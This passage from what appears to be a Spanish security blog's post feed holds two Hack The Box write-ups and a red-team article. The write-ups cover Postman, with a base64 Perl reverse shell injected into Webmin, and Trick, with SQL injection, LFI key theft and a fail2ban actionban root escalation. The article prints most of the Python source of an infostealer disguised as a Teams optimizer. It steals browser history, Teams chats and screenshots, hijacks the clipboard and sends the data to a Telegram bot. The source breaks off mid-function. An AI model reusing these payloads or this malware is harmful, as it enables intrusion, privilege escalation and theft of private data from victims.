id_rsa:$sshng$0$8$73E9CEFBCCF5287C$1192$25e840e75235eebb0238e56ac96c7e0bcdfadc8381617435d43770fe9af72f6036343b41eedbec5cdcaa2838217d09d77301892540fd90a267889909cebbc5d567a9bcc3648fd648b5743360df306e396b92ed5b26ae719c95fd1146f923b936ec6b13c2c32f2b35e491f11941a5cafd3e74b3723809d71f6ebd5d5c8c9a6d72cba593a26442afaf8f8ac928e9e28bba71d9c25a1ce403f4f02695c6d5678e98cbed0995b51c206eb58b0d3fa0437fbf1b4069a6962aea4665df2c1f762614fdd6ef09cc7089d7364c1b9bda52dbe89f4aa03f1ef178850ee8b0054e8ceb37d306584a81109e73315aebb774c656472f132be55b092ced1fe08f11f25304fe6b92c21864a3543f392f162eb605b139429bb561816d4f328bb62c5e5282c301cf507ece7d0cf4dd55b2f8ad1a6bc42cf84cb0e97df06d69ee7b4de783fb0b26727bdbdcdbde4bb29bcafe854fbdbfa5584a3f909e35536230df9d3db68c90541d3576cab29e033e825dd153fb1221c44022bf49b56649324245a95220b3cae60ab7e312b705ad4add1527853535ad86df118f8e6ae49a3c17bee74a0b460dfce0683cf393681543f62e9fb2867aa709d2e4c8bc073ac185d3b4c0768371360f737074d02c2a015e4c5e6900936cca2f45b6b5d55892c2b0c4a0b01a65a5a5d91e3f6246969f4b5847ab31fa256e34d2394e660de3df310ddfc023ba30f062ab3aeb15c3cd26beff31c40409be6c7fe3ba8ca13725f9f45151364157552b7a042fa0f26817ff5b677fdd3eead7451decafb829ddfa8313017f7dc46bafaac7719e49b248864b30e532a1779d39022507d939fcf6a34679c54911b8ca789fef1590b9608b10fbdb25f3d4e62472fbe18de29776170c4b108e1647c57e57fd1534d83f80174ee9dc14918e10f7d1c8e3d2eb9690aa30a68a3463479b96099dee8d97d15216aec90f2b823b207e606e4af15466fff60fd6dae6b50b736772fdcc35c7f49e5235d7b052fd0c0db6e4e8cc6f294bd937962fab62be9fde66bf50bb149ca89996cf12a54f91b1aa2c2c6299ea9da821ef284529a5382b18d080aaede451864bb352e1fdcff981a36b505a1f2abd3a024848e0f3234ef73f3e2dda0dd7041630f695c11063232c423c7153277bbe671cb4b483f08c266fc547d89ff2b81551dabef03e6fd968a67502100111a7022ff3eb58a1fc065692d50b40eb379f155d37c1d97f6c2f5a01de13b8989174677c89d8a644758c071aea8d4c56a0374801732348db0b3164dcc82b6eaf3eb3836fa05cf5476258266a30a531e1a3132e11b944e8e0406cad59ffeaecc1ab3b7705db99353c458dc9932a638598b195e25a14051e414e20dc1510eb476a467f4e861a51036d453ea96721e0be34f4993a34b778d4111b29a63d69c1b8200869a129392684af8c4daa32f3d0a0d17c36275f039b4a3bf29e9436b912b9ed42b168c47c4205dcd00c114da8f8d82af761e69e900545eb6fc10ef1ba4934adb6fa9af17c812a8b420ed6a5b645cad812d394e93d93ccd21f2d444f1845d261796ad055c372647f0e1d8a844b8836505eb62a9b6da92c0b8a2178bad1eafbf879090c2c17e25183cf1b9f1876cf6043ea2e565fe84ae473e9a7a4278d9f00e4446e50419a641114bc626d3c61e36722e9932b4c8538da3ab44d63 ┌──(root㉿kali)-[/home/…/Desktop/HTB/Postman/loot] └─# ssh2john id_rsa \u0026gt; id_rsa.hash ┌──(root㉿kali)-[/home/…/Desktop/HTB/Postman/loot] └─# john --wordlist=/usr/share/wordlists/seclists/rockyou.txt id_rsa.hash computer2008 (id_rsa) Tenemos contraseña! computer2008\nProbamos mediante SSH sabiendo que no va a funcionar, y efectivamente no podemos entrar, pero viendo que redis usaba su Matt. Sin embargo, como ya estoy dentro como redis, puedo cambiar de usuario localmente usando la contraseña crackeada.\nBingo!\nConsigo la user flag.\nElevación de privilegios Al enumerar los permisos de sudo de Matt, veo que no tiene acceso a nada interesante. Sin embargo, recordamos el puerto 10000 (Webmin). Pruebo las credenciales Matt:computer2008 en el panel de login y logro acceder.\nEstamos dentro.\nLa versión 1.910 de Webmin es vulnerable a RCE autenticado en el endpoint de actualizaciones de paquetes. La vulnerabilidad reside en el parámetro u del script /package-updates/update.cgi\nPreparo un payload en Perl para establecer una reverse shell, lo codifico en Base64 y lo inyecto en la petición HTTP.\necho -n \u0026#34;perl -MIO -e \u0026#39;\\$p=fork;exit,if(\\$p);\\$c=new IO::Socket::INET(PeerAddr,\\\u0026#34;10.10.15.44:4444\\\u0026#34;);STDIN-\u0026gt;fdopen(\\$c,r);\\$~-\u0026gt;fdopen(\\$c,w);system\\$_ while\u0026lt;\u0026gt;;\u0026#39;\u0026#34; | base64 -w 0 cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw== | bash -c \u0026#34;{echo,cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw==}|{base64,-d}|{bash,-i}\u0026#34; Lo URL Encodeamos.\n+%7C+bash+-c+%22%7Becho%2CcGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0%2BZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22+%0D%0A Al enviar la petición, recibo una conexión inversa en mi listener como el usuario root.\nPOST /package-updates/update.cgi HTTP/1.1 Host: 10.129.2.1:10000 Cookie: redirect=1; testing=1; sid=af122636c747c504f006f91e9b600aae User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Progressive-Url: https://10.129.2.1:10000/package-updates/update.cgi X-Requested-From: package-updates X-Requested-From-Tab: webmin X-Requested-With: XMLHttpRequest Content-Length: 289 Origin: https://10.129.2.1:10000 Referer: https://10.129.2.1:10000/package-updates/update.cgi?xnavigation=1 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers Connection: keep-alive u=acl%2Fapt\u0026amp;u=+%7C+bash+-c+%22%7Becho%2CcGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0%2BZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22+%0D%0A Rooted.\n","permalink":"https://synacklabs.github.io/posts/postman/","tags":["Linux","Redis","Password Cracking","Webmin","Internal Service"],"title":"Postman (Easy)"},{"categories":["Machine"],"content":"Resumen Esta máquina Linux expone varios servicios web y DNS. Comienzo enumerando DNS donde encuentro una transferencia de zona que revela subdominios ocultos. En uno de ellos, abuso de una SQL Injection para acceder a un panel administrativo y obtener credenciales, aunque no son útiles para SSH. En un segundo subdominio, exploto un LFI (Local File Inclusion) con bypass de filtros para exfiltrar una clave SSH privada. Finalmente, escalo privilegios abusando de permisos de escritura en la configuración de Fail2Ban y mi capacidad de reiniciar el servicio con sudo.\nEscaneo y Reconocimiento Comienzo con un escaneo básico de servicios. Detecto SSH, DNS y un servidor Web Nginx.\nPORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5Rh57OmAndXFukHce0Tr4BL8CWC8yACwWdu8VZcBPGuMUH8VkvzqseeC8MYxt5SPL1aJmAsZSgOUreAJNlYNBBKjMoFwyDdArWhqDThlgBf6aqwqMRo3XWIcbQOBkrisgqcPnRKlwh+vqArsj5OAZaUq8zs7Q3elE6HrDnj779JHCc5eba+DR+Cqk1u4JxfC6mGsaNMAXoaRKsAYlwf4Yjhonl6A6MkWszz7t9q5r2bImuYAC0cvgiHJdgLcr0WJh+lV8YIkPyya1vJFp1gN4Pg7I6CmMaiWSMgSem5aVlKmrLMX10MWhewnyuH2ekMFXUKJ8wv4DgifiAIvd6AGR | 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAoXvyMKuWhQvWx52EFXK9ytX/pGmjZptG8Kb+DOgKcGeBgGPKX3ZpryuGR44av0WnKP0gnRLWk7UCbqY3mxXU0= | 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGY1WZWn9xuvXhfxFFm82J9eRGNYJ9NnfzECUm0faUXm 25/tcp open smtp? syn-ack ttl 63 |_smtp-commands: Couldn\u0026#39;t establish connection on port 25 53/tcp open domain syn-ack ttl 63 ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux) | dns-nsid: |_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian 80/tcp open http syn-ack ttl 63 nginx 1.14.2 | http-methods: |_ Supported Methods: GET HEAD |_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA |_http-server-header: nginx/1.14.2 |_http-title: Coming Soon - Start Bootstrap Theme Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Enumeración Web (Puerto 80) Al visitar la web principal en el puerto 80, encuentro una página \u0026ldquo;Coming Soon\u0026rdquo; sin funcionalidad aparente. Identifico que corre sobre Nginx 1.14.2.\nEnumeración DNS (Puerto 53) Dado que el puerto 53 está abierto, realizo una búsqueda inversa (reverse lookup) para identificar el nombre de dominio de la máquina.\ndig @10.129.95.104 -x 10.129.95.104 ; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.20.4-4-Debian \u0026lt;\u0026lt;\u0026gt;\u0026gt; @10.129.95.104 -x 10.129.95.104 ; (1 server found) ;; global options: +cmd ;; Got answer: ;; -\u0026gt;\u0026gt;HEADER\u0026lt;\u0026lt;- opcode: QUERY, status: NOERROR, id: 46316 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ; COOKIE: 5e0ee3a854962e4cc522bb9469725f8b9fb68186fcd1fb04 (good) ;; QUESTION SECTION: ;104.95.129.10.in-addr.arpa. IN PTR ;; ANSWER SECTION: 104.95.129.10.in-addr.arpa. 604800 IN PTR trick.htb. ;; AUTHORITY SECTION: 95.129.10.in-addr.arpa. 604800 IN NS trick.htb. ;; ADDITIONAL SECTION: trick.htb. 604800 IN A 127.0.0.1 trick.htb. 604800 IN AAAA ::1 ;; Query time: 204 msec ;; SERVER: 10.129.95.104#53(10.129.95.104) (UDP) ;; WHEN: Thu Jan 22 18:33:54 CET 2026 ;; MSG SIZE rcvd: 164 Con el dominio trick.htb identificado, intento una transferencia de zona (AXFR) para listar todos los subdominios configurados.\ndig axfr trick.htb @10.129.95.104 ; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.20.4-4-Debian \u0026lt;\u0026lt;\u0026gt;\u0026gt; axfr trick.htb @10.129.95.104 ;; global options: +cmd trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800 trick.htb. 604800 IN NS trick.htb. trick.htb. 604800 IN A 127.0.0.1 trick.htb. 604800 IN AAAA ::1 preprod-payroll.trick.htb. 604800 IN CNAME trick.htb. trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800 ;; Query time: 40 msec ;; SERVER: 10.129.95.104#53(10.129.95.104) (TCP) ;; WHEN: Thu Jan 22 18:36:11 CET 2026 ;; XFR size: 6 records (messages 1, bytes 231) Encuentro un subdominio interesante: preprod-payroll.trick.htb. Lo añado a mi /etc/hosts.\nAcceso Inicial SQL Injection en Preprod-Payroll Al acceder a preprod-payroll.trick.htb, me encuentro con un panel de login. Pruebo una inyección SQL básica para intentar bypassear la autenticación.\n¡Éxito! Accedo al panel administrativo de gestión de nóminas.\nExplorando la interfaz, en el apartado de usuarios, inspecciono el código fuente o los elementos de la lista y encuentro unas credenciales ocultas:\nUsuario: Enemigosss Password: SuperGucciRainbowCake Intento usar estas credenciales para SSH, pero no funcionan. El entorno parece ser de pre-producción, así que decido buscar más subdominios mediante fuzzing de vhosts.\nLFI en Preprod-Marketing El fuzzing revela otro subdominio: preprod-marketing.trick.htb.\nAl navegar por esta web, observo que las páginas se cargan mediante un parámetro page: http://preprod-marketing.trick.htb/index.php?page=services.html\nEsto es un indicador potencial de LFI. Vamos a explorar…\nPruebo cargas útiles básicas (../../etc/passwd), pero no obtengo respuesta. Parece haber un filtro de sanitización. Pruebo técnicas de bypass y descubro que ....// funciona para saltar directorios.\nPodemos enumerar el usuario michael donde probamos una reutilización de credenciales pero nada.\nConsigo leer el /etc/passwd y confirmo la existencia del usuario michael. Dado que tengo LFI, intento leer su clave privada SSH.\nCopio la clave (id_rsa), le doy los permisos adecuados (chmod 600) y me conecto como michael.\nYa estoy dentro. Capturo la user flag.\nEscalada de Privilegios Enumeración de Sudoers Reviso los permisos de sudo del usuario michael.\nuid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security) michael@trick:~$ sudo -l Matching Defaults entries for michael on trick: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin User michael may run the following commands on trick: (root) NOPASSWD: /etc/init.d/fail2ban restart Puedo reiniciar el servicio Fail2Ban como root sin contraseña.\nAbuso de configuración de Fail2Ban Usamos esta guia que explica que es este ejecutable.\nhttps://www.digitalocean.com/community/tutorials/how-fail2ban-works-to-protect-services-on-a-linux-server\nFail2Ban escanea logs y banea IPs usando iptables basándose en reglas definidas. Reviso los permisos de la configuración.\n“Fail2ban scans log files (e.g. /var/log/apache/error_log) and bans IPs that show the malicious signs (too many password failures, seeking for exploits, etc.)”\nObservo que el grupo security (al que pertenezco: groups=1001(michael),1002(security)) tiene permisos de escritura sobre los archivos de configuración en action.d.\nExiste un objeto principal el cual contiene la configuración global de los baneos, reside en /etc/fail2ban/jail.conf\nEl archivo /etc/fail2ban/jail.conf define que tras 5 intentos fallidos, la IP será baneada ejecutando una acción. La acción por defecto suele implicar iptables-multiport.\nExploaramos ese archivo iptables-multiport.conf.\nmichael@trick:/etc/fail2ban/action.d$ cat iptables-multiport.conf # Fail2Ban configuration file # # Author: Cyril Jaquier # Modified by Yaroslav Halchenko for multiport banning # [INCLUDES] before = iptables-common.conf [Definition] # Option: actionstart # Notes.: command executed once at the start of Fail2Ban. # Values: CMD # actionstart = \u0026lt;iptables\u0026gt; -N f2b-\u0026lt;name\u0026gt; \u0026lt;iptables\u0026gt; -A f2b-\u0026lt;name\u0026gt; -j \u0026lt;returntype\u0026gt; \u0026lt;iptables\u0026gt; -I \u0026lt;chain\u0026gt; -p \u0026lt;protocol\u0026gt; -m multiport --dports \u0026lt;port\u0026gt; -j f2b-\u0026lt;name\u0026gt; # Option: actionstop # Notes.: command executed once at the end of Fail2Ban # Values: CMD # actionstop = \u0026lt;iptables\u0026gt; -D \u0026lt;chain\u0026gt; -p \u0026lt;protocol\u0026gt; -m multiport --dports \u0026lt;port\u0026gt; -j f2b-\u0026lt;name\u0026gt; \u0026lt;actionflush\u0026gt; \u0026lt;iptables\u0026gt; -X f2b-\u0026lt;name\u0026gt; # Option: actioncheck # Notes.: command executed once before each actionban command # Values: CMD # actioncheck = \u0026lt;iptables\u0026gt; -n -L \u0026lt;chain\u0026gt; | grep -q \u0026#39;f2b-\u0026lt;name\u0026gt;[ \\t]\u0026#39; # Option: actionban # Notes.: command executed when banning an IP. Take care that the # command is executed with Fail2Ban user rights. # Tags: See jail.conf(5) man page # Values: CMD # actionban = \u0026lt;iptables\u0026gt; -I f2b-\u0026lt;name\u0026gt; 1 -s \u0026lt;ip\u0026gt; -j \u0026lt;blocktype\u0026gt; # Option: actionunban # Notes.: command executed when unbanning an IP. Take care that the # command is executed with Fail2Ban user rights. # Tags: See jail.conf(5) man page # Values: CMD # actionunban = \u0026lt;iptables\u0026gt; -D f2b-\u0026lt;name\u0026gt; -s \u0026lt;ip\u0026gt; -j \u0026lt;blocktype\u0026gt; [Init] Edito el archivo /etc/fail2ban/action.d/iptables-multiport.conf. Mi objetivo es cambiar el comando que se ejecuta al banear una IP (actionban) por uno que me otorgue permisos de root.\nmv iptables-multiport.conf .old cp .old iptables-multiport.conf vim iptables-multiport.conf Con esto podemos modificar el archivo. ya que estamos dentro del grupo security que nos permite mover archivos y reescribirlos.\nactionban = chmod u+s /bin/bash Ejecución Reinicio Fail2Ban para aplicar la configuración maliciosa: sudo /etc/init.d/fail2ban restart Podemos ver en el archivo/etc/fail2ban/jail.conf cuantos intentos tenemos antes del baneo, son 5. Desde mi máquina atacante (o abriendo otra sesión local), intento loguearme por SSH con una contraseña incorrecta 5 veces para disparar la regla de baneo. ssh msassam@trick.htb # (Fallo la contraseña 5 veces intencionalmente) Una vez activado el \u0026ldquo;ban\u0026rdquo;, Fail2Ban ejecuta mi comando malicioso. Verifico los permisos de bash: Tenemos shell como root!\n","permalink":"https://synacklabs.github.io/posts/trick/","tags":["DNS","Linux","SQL injection","LFI"],"title":"Trick (Easy)"},{"categories":["Blue Team vs Red Team"],"content":"La ciberseguridad moderna no es estática; es un enfrentamiento constante de ingenio. Para demostrar esta dinámica, hemos planteado un reto de ingeniería inversa real: el Red Team (Isma Laya) ha diseñado un Infostealer básico y personalizado, y el Blue Team (Khaled El Modden) tiene la misión de diseccionarlo, identificar su infraestructura y neutralizar la fuga de datos.\nHemos construido este reto desde cero. No es un simple script de juguete, es un binario empaquetado como una herramienta profesional de \u0026ldquo;optimización\u0026rdquo; de Microsoft Teams. La pregunta es sencilla: ¿Será capaz el Blue Team de desentrañar la lógica de nuestro código antes de que sus contraseñas y capturas de pantalla terminen en nuestro bot de Telegram?\nRed Team (Isma Laya) A menudo se piensa que el malware avanzado requiere años de ensamblador y zero-days complejos. Sin embargo, quise demostrar que con unas pocas librerías estándar de Python y algo de ingenio, es posible crear una herramienta de exfiltración de datos bastante potente.\nEn este artículo, voy a desglosar \u0026ldquo;Teams Optimizer\u0026rdquo;, un script que escribí hace algun tiempo para simular cómo actúa un infostealer: desde el disfraz hasta la exfiltración de datos vía Telegram.\nFase 1: El Gancho: Ingeniería Social y la GUI Lo primero que decidí es que mi script no podía ser una simple ventana negra de consola; nadie ejecutaría eso. Necesitaba un disfraz.\nProgramé una interfaz gráfica (GUI) utilizando tkinter que simula ser una herramienta de mantenimiento oficial de Microsoft (\u0026ldquo;Microsoft Teams Optimizer\u0026rdquo;). Mientras el usuario ve una barra de progreso falsa avanzando y mensajes como \u0026ldquo;Optimizando recursos de memoria\u0026hellip;\u0026rdquo;, mi código está haciendo el trabajo sucio en segundo plano utilizando hilos (threading).\n# Así creo la distracción def simulate_progress(): for i in range(1, 101): # La barra avanza, pero el sleep es solo para ganar tiempo progress[\u0026#34;value\u0026#34;] = i # Mientras esto ocurre, los otros hilos roban los datos Fase 2: El \u0026ldquo;Motor\u0026rdquo;: Obteniendo Permisos Para que mi herramienta funcione al 100%, necesitaba acceso sin restricciones. Por eso, implementé una comprobación al inicio (is_admin). Si el script detecta que no tiene privilegios, se relanza a sí mismo solicitando elevación.\n¿Por qué? Porque necesito matar procesos (taskkill) y acceder a carpetas protegidas en AppData para leer las bases de datos de los navegadores.\nFase 3: El Objetivo Principal: Datos de Navegación y Teams Aquí es donde entra la lógica de extracción. Me centré en dos vectores:\nEl robo de historial (Chrome/Edge)\nMe di cuenta de que los navegadores bloquean sus bases de datos SQL cuando están abiertos. Mi solución fue sencilla:\nLocalizo el archivo History en la ruta del usuario. Hago una copia temporal (history_temp.db) para evitar el bloqueo de archivo en uso. Uso sqlite3 para volcar las URLs más visitadas a un log y enviarlo. Secuestrando Microsoft Teams\nTeams es una mina de oro de información corporativa. Mi script localiza la base de datos LevelDB de Teams. Dado que es un formato binario complejo, integré una llamada a un ejecutable externo (ms_teams_parser.exe) que convierte esos datos en un JSON legible (teams_parsed.json).\nms_teams_parser.exe:\nhttps://github.com/hexseven/Teams-artifacts-parser/tree/main/ms_teams_parser\nUn detalle importante: Tuve que programar el script para matar el proceso de Teams (taskkill /f /im teams.exe) antes de la extracción, o los archivos estarían bloqueados. Ahora mismo este ejecutable solo funciona con las versiones de Microsoft Teams Classic y Microsoft \u0026lsquo;Teams 2.0\u0026rsquo; (Windows 11) con una organización personal ya que el proceso de almacenaje de la base de datos funciona diferente.\nFase 4: El \u0026ldquo;Clipper\u0026rdquo;: Ataque en tiempo real Esta es quizás la función más insidiosa que programé: monitor_clipboard().\nNo quería solo robar datos estáticos; quería intervenir en las acciones del usuario. Creé un bucle infinito que vigila el portapapeles. Usando regex, el script busca patrones numéricos específicos (como cuentas bancarias).\n# Si detecto un patrón de cuenta bancaria... if re.match(r\u0026#39;\\d{4}-\\d{4}-\\d{4}-\\d{4}\u0026#39;, clipboard_content): # ...lo sustituyo por \u0026#34;mi\u0026#34; cuenta al instante. pyperclip.copy(\u0026#39;1111-2222-3333-4444\u0026#39;) Si la víctima copia un número de cuenta y lo pega segundos después, habrá pegado el número que yo definí, no el original.\nFase 5: Infraestructura C2: Telegram como servidor No quería gastar dinero en servidores ni configurar sockets complejos que un firewall detectaría. Decidí usar la API de Telegram como mi servidor de Comando y Control (C2).\nTodo lo que el script recolecta (logs, capturas de pantalla, JSONs de Teams) se envía mediante peticiones POST HTTPS a mi bot de Telegram. Es rápido, cifrado y, lo mejor de todo, el tráfico hacia api.telegram.org rara vez se bloquea en redes corporativas.\nMensajes exfiltrados de MSTeams.\nHistorial de la víctima exfiltrado.\nFase 6: Espionaje Visual Finalmente, añadí una función de vigilancia. Un hilo separado toma una captura de pantalla cada 5 minutos (periodic_screenshots) y me la envía. Esto me permite ver en tiempo real qué está haciendo el usuario, más allá de los datos en disco.\nConclusión Desarrollar este script me enseñó lo expuestos que estamos realmente. No utilicé exploits de día cero ni vulnerabilidades complejas del kernel; simplemente abusé de la confianza del usuario (la GUI falsa) y de las características estándar de automatización de Windows.\nNota: Este código fue desarrollado estrictamente con fines educativos y de investigación para comprender los vectores de ataque de los infostealers.\nScript utilizado #!/usr/bin/python3 import os import sys import json import re import glob import ctypes import shutil import sqlite3 import platform import requests import winreg import base64 import subprocess import threading import time import urllib.parse from Crypto.Cipher import AES import win32crypt from PIL import ImageGrab import pyperclip # Para acceder y modificar el portapapeles import tkinter as tk from tkinter import ttk, messagebox import random from PIL import Image, ImageTk # ——— Configuración ————————————————————————————————————————————— BOT_TOKEN = \u0026#34;74181---------------------\u0026#34; CHAT_ID = \u0026#34;101-----------------------\u0026#34; TELEGRAM_API = f\u0026#34;https://api.telegram.org/bot{BOT_TOKEN}/sendDocument\u0026#34; PARSER_EXE = \u0026#34;ms_teams_parser.exe\u0026#34; # ——— Helpers ————————————————————————————————————————————————————— def is_admin(): try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def send_file(path): if not os.path.exists(path): print(f\u0026#34;[!] {path} no existe\u0026#34;) return size = os.path.getsize(path) print(f\u0026#34;[+] Enviando {path} ({size} bytes)\u0026#34;) if size == 0: print(f\u0026#34;[!] {path} vacío, descartado\u0026#34;) os.remove(path) return with open(path, \u0026#34;rb\u0026#34;) as f: files = {\u0026#34;document\u0026#34;: (os.path.basename(path), f)} params = {\u0026#34;chat_id\u0026#34;: CHAT_ID, \u0026#34;caption\u0026#34;: f\u0026#34;From: {platform.node()}\u0026#34;} r = requests.post(TELEGRAM_API, files=files, data=params, timeout=15) print(f\u0026#34;[+] Telegram response: {r.status_code}\u0026#34;) if r.status_code == 200: os.remove(path) else: print(f\u0026#34;[!] Error enviando {path}: {r.text}\u0026#34;) def hide(): if platform.system() == \u0026#34;Windows\u0026#34;: ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0) def zip_folder(folder_path, output_zip): print(f\u0026#34;[+] Comprimiendo carpeta {folder_path} en {output_zip}\u0026#34;) shutil.make_archive(output_zip.replace(\u0026#39;.zip\u0026#39;,\u0026#39;\u0026#39;), \u0026#39;zip\u0026#39;, folder_path) print(f\u0026#34;[+] Carpeta comprimida: {output_zip}\u0026#34;) return output_zip def get_extracted_path(): if getattr(sys, \u0026#39;frozen\u0026#39;, False): return sys._MEIPASS return os.path.dirname(os.path.abspath(__file__)) def find_teams_db(): base = os.path.join(os.environ[\u0026#39;LOCALAPPDATA\u0026#39;], \u0026#39;Packages\u0026#39;, \u0026#39;MSTeams_*\u0026#39;) pattern = os.path.join(base, \u0026#39;**\u0026#39;, \u0026#39;IndexedDB\u0026#39;, \u0026#39;https_teams.microsoft.com_0.indexeddb.leveldb\u0026#39;) matches = glob.glob(pattern, recursive=True) if matches: return max(matches, key=os.path.getmtime) print(\u0026#34;[!] Teams DB no encontrada\u0026#34;) return None def send_teams_db_zip(): db_folder = find_teams_db() if not db_folder: return None return db_folder def parse_teams_with_exe(leveldb_folder): output_json = \u0026#34;teams_parsed.json\u0026#34; exe_path = os.path.join(get_extracted_path(), PARSER_EXE) if not os.path.exists(exe_path): print(f\u0026#34;[!] No se encontró el parser exe en {exe_path}\u0026#34;) return print(f\u0026#34;[+] Parseando LevelDB con {PARSER_EXE}\u0026#34;) try: # Eliminamos check=True para manejar el código de salida manualmente # O mantenemos check=True y usamos try-except (recomendado para atrapar errores) result = subprocess.run( [exe_path, \u0026#34;-f\u0026#34;, leveldb_folder, \u0026#34;-o\u0026#34;, output_json], capture_output=True, # Capturamos lo que diga el .exe para depurar text=True, check=True, # Esto lanza la excepción si falla creationflags=subprocess.CREATE_NO_WINDOW ) print(\u0026#34;[+] Parser ejecutado correctamente.\u0026#34;) send_file(output_json) except subprocess.CalledProcessError as e: print(f\u0026#34;[!] El parser falló (Exit code {e.returncode}).\u0026#34;) print(f\u0026#34; Error output: {e.stderr}\u0026#34;) # Muestra por qué falló el exe print(\u0026#34;[*] Continuando ejecución sin detener el script...\u0026#34;) except Exception as e: # Para cualquier otro error imprevisto print(f\u0026#34;[!] Error genérico al ejecutar el parser: {e}\u0026#34;) def extract_teams_chats(): os.system(\u0026#34;taskkill /f /im teams.exe \u0026gt;nul 2\u0026gt;\u0026amp;1\u0026#34;) os.system(\u0026#34;taskkill /f /im Teams.exe \u0026gt;nul 2\u0026gt;\u0026amp;1\u0026#34;) os.system(\u0026#34;taskkill /f /im Teams2.exe \u0026gt;nul 2\u0026gt;\u0026amp;1\u0026#34;) db_folder = send_teams_db_zip() if db_folder: parse_teams_with_exe(db_folder) def browser_stealer(browser): ud = os.path.join(os.environ[\u0026#39;LOCALAPPDATA\u0026#39;], browser, \u0026#34;User Data\u0026#34;, \u0026#34;Default\u0026#34;) hist = os.path.join(ud, \u0026#34;History\u0026#34;) if os.path.exists(hist): tmp = \u0026#34;history_temp.db\u0026#34; shutil.copy2(hist, tmp) conn = sqlite3.connect(tmp); cur = conn.cursor() cur.execute(\u0026#34;SELECT url,title,visit_count FROM urls ORDER BY visit_count DESC\u0026#34;) with open(\u0026#34;history.log\u0026#34;,\u0026#34;w\u0026#34;,encoding=\u0026#34;utf-8\u0026#34;) as f: for url,title,cnt in cur.fetchall(): f.write(f\u0026#34;{cnt} visits | {title} | {url}\\n\u0026#34;) conn.close(); os.remove(tmp) send_file(\u0026#34;history.log\u0026#34;) # —— Captura de pantalla periódica sin consola —— def send_screenshot(file_path): try: with open(file_path, \u0026#34;rb\u0026#34;) as f: files = {\u0026#34;photo\u0026#34;: (os.path.basename(file_path), f)} params = {\u0026#34;chat_id\u0026#34;: CHAT_ID, \u0026#34;caption\u0026#34;: f\u0026#34;Screenshot from {platform.node()}\u0026#34;} response = requests.post(f\u0026#34;https://api.telegram.org/bot{BOT_TOKEN}/sendPhoto\u0026#34;, files=files, data=params, timeout=15) if response.status_code == 200: os.remove(file_path) except Exception: pass def take_screenshot(filename): img = ImageGrab.grab() img.save(filename) send_screenshot(filename) def periodic_screenshots(interval=300): count = 0 while True: filename = f\u0026#34;screenshot_{count}.png\u0026#34; take_screenshot(filename) count += 1 time.sleep(interval) def start_screenshot_thread(): t = threading.Thread(target=periodic_screenshots, daemon=True) t.start() def send_message(message): if not message: print(\u0026#34;[!] El mensaje está vacío, no se enviará.\u0026#34;) return print(f\u0026#34;[+] Enviando mensaje: {message}\u0026#34;) # Imprime lo que se va a enviar para depuración params = {\u0026#34;chat_id\u0026#34;: CHAT_ID, \u0026#34;text\u0026#34;: message} r = requests.post(f\u0026#34;https://api.telegram.org/bot{BOT_TOKEN}/sendMessage\u0026#34;, data=params, timeout=15) if r.status_code == 200: 